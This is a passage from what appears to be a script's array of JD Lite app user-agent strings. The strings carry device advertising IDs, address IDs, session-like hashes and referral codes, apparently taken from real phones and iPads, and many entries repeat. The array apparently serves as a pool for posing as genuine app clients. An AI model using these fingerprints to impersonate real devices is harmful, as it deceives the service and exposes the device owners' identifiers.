'jdltapp;iPhone;3.1.0;14.3;network/wifi;ADID/F9FD7728-2956-4DD1-8EDD-58B07950864C;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;ADID/5D306F0D-A131-4B26-947E-166CCB9BFFFF;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.1.0;14.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad8,9;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.20;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/d9f5ddaa0160a20f32fb2c8bfd174fae7993c1b4|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.5;Mozilla/5.0 (iPad; CPU OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/wifi;ADID/31548A9C-8A01-469A-B148-E7D841C91FD0;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.5;apprpd/;ref/JDLTSubMainPageViewController;psq/4;ads/;psn/a858fb4b40e432ea32f80729916e6c3e910bb922|12;jdv/0|direct|-|none|-|1613898710373|1613898712;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;3346332626262353-1666434336539336;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;8.1.0;8363834353530333132333132373-43D2930366035323639333662383;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;11;1343467336264693-3343562673463613;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;10;8353636393732346-6646931673935346;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;6d343c58764a908d4fa56609da4cb3a5cc1396d3;network/wifi;ADID/4965D884-3E61-4C4E-AEA7-9A8CE3742DA7;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.6.1;4606ddccdfe8f343f8137de7fea7f91fc4aef3a3;network/4g;ADID/C6FB6E20-D334-45FA-818A-7A4C58305202;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone10,1;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.9;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/8;ads/;psn/4606ddccdfe8f343f8137de7fea7f91fc4aef3a3|5;jdv/0|iosapp|t_335139774|liteshare|Qqfriends|1614206359106|1614206366;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.6.1;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;3b6e79334551fc6f31952d338b996789d157c4e8;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/138051400;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/14.34;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/12;ads/;psn/3b6e79334551fc6f31952d338b996789d157c4e8|46;jdv/0|kong|t_1001707023_|jingfen|e80d7173a4264f4c9a3addcac7da8b5d|1613837384708|1613858760;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;1346235693831363-2373837393932673;network/wifi;model/LYA-AL00;addressid/3321567203;aid/1d2e9816278799b7;oaid/00000000-0000-0000-0000-000000000000;osVer/29;appBuild/1436;psn/45VUZFTZJkhP5fAXbeBoQ0 O2GCB I|7;psq/5;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/5.8;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1614066210320|1614066219;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/huawei;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.3;c2a8854e622a1b17a6c56c789f832f9d78ef1ba7;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.9;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/8;ads/;psn/c2a8854e622a1b17a6c56c789f832f9d78ef1ba7|6;jdv/0|direct|-|none|-|1613541016735|1613823566;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;9;;network/wifi;model/MIX 2S;addressid/;aid/f87efed6d9ed3c65;oaid/94739128ef9dd245;osVer/28;appBuild/1436;psn/R7wD/OWkQjYWxax1pDV6kTIDFPJCUid7C/nl2hHnUuI=|3;psq/13;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 9;osv/9;pv/1.42;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2S Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;network/3g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPad;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.1.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/2813715704;pv/67.38;apprpd/MyJD_Main;ref/https%3A%2F%2Fh5.m.jd.com%2FbabelDiy%2FZeus%2F2ynE8QDtc2svd36VowmYWBzzDdK6%2Findex.html%3Flng%3D103.957532%26lat%3D30.626962%26sid%3D4fe8ef4283b24723a7bb30ee87c18b2w%26un_area%3D22_1930_49324_52512;psq/4;ads/;psn/5aef178f95931bdbbde849ea9e2fc62b18bc5829|127;jdv/0|direct|-|none|-|1612588090667|1613822580;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/3104834020;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/c633e62b5a4ad0fdd93d9862bdcacfa8f3ecef63|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;8.1.0;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;11;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;10;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 